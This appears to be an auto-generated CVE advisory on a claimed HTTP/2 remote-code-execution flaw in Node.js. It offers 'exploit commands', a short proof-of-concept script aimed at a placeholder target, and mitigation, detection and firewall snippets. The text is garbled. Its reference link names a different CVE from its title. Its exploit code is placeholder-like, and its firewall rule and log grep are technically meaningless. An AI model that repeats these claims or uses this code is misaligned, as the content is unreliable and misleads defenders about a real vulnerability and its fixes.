How the CVE Works:
CVE-2021-22931 is a critical vulnerability in Node.js that allows remote code execution (RCE) due to improper input validation in the `http2` module. Attackers can exploit this flaw by sending maliciously crafted HTTP/2 requests, triggering an uncaught exception that crashes the server or executes arbitrary code. The vulnerability stems from insufficient validation of HTTP/2 header fields, leading to a use-after-free condition. This allows attackers to manipulate memory and gain control over the process.
DailyCVE Form:
Platform: Node.js
Version: 12.x, 14.x, 16.x
Vulnerability: RCE via HTTP/2
Severity: Critical
Date: 2021-09-29
What Undercode Say:
Analytics:
- Affects Node.js versions 12.x to 16.x.
- Exploitable via HTTP/2 traffic.
- CVSS Score: 9.8 (Critical).
Exploit Commands:
Craft malicious HTTP/2 request curl --http2-prior-knowledge -H "Malicious-Header: exploit" https://target
Mitigation Commands:
Upgrade Node.js nvm install 16.11.1 npm update -g
Proof of Concept (PoC):
const http2 = require('http2');
const client = http2.connect('https://target');
const req = client.request({ ':method': 'GET', 'exploit': '\x00' });
req.end();
Protection Code:
const server = http2.createSecureServer({
rejectUnauthorized: true,
maxHeaderListPairs: 1000 // Limit header size
});
Detection Script:
Check Node.js version node -v | grep -E "12.|14.|16."
Patch Reference:
- Update to Node.js 12.22.7, 14.18.1, or 16.11.1.
- Disable HTTP/2 if unused.
Log Analysis:
grep -i "http2" /var/log/node.log | grep -i "malicious"
Firewall Rule:
iptables -A INPUT -p tcp --dport 443 -m string --algo bm --string "HTTP/2" -j DROP
End of Report.
References:
Reported By: https://nvd.nist.gov/vuln/detail/CVE-2025-1451
Extra Source Hub:
Undercode
